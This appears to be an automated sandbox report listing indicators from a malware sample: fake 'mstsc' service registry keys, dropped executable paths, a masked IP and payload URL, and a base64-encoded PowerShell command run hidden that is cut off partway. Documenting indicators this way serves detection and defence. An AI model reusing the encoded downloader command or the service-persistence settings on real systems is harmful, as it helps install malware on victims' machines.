Technical Information
- [<HKLM>\System\CurrentControlSet\Services\mstsc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mstsc] 'ImagePath' = '"<SYSTEM32>\dot3api\mstsc.exe"'
- 'mstsc' "<SYSTEM32>\dot3api\mstsc.exe"
- 'mstsc' <SYSTEM32>\dot3api\mstsc.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAHUAagAwAHAAYgBtAD0AKAAnAE8AJwArACgAJwA2AGwAOQAnACsAJwAyAGYAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVABlAG0AcABcAFcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...
- %TEMP%\word\2019\o1jp0j.exe
- <SYSTEM32>\dot3api\mstsc.exe
- from %TEMP%\word\2019\o1jp0j.exe to <SYSTEM32>\dot3api\mstsc.exe
- '17#.#1.208.86':80
- http://17#.#1.208.86/HnaFNF/
- DNS ASK da###roque.com
- '%TEMP%\word\2019\o1jp0j.exe'
- '<SYSTEM32>\dot3api\mstsc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAHUAagAwAHAAYgBtAD0AKAAnAE8AJwArACgAJwA2AGwAOQAnACsAJwAyAGYAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVABlAG0AcABcAFcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...' (with hidden window)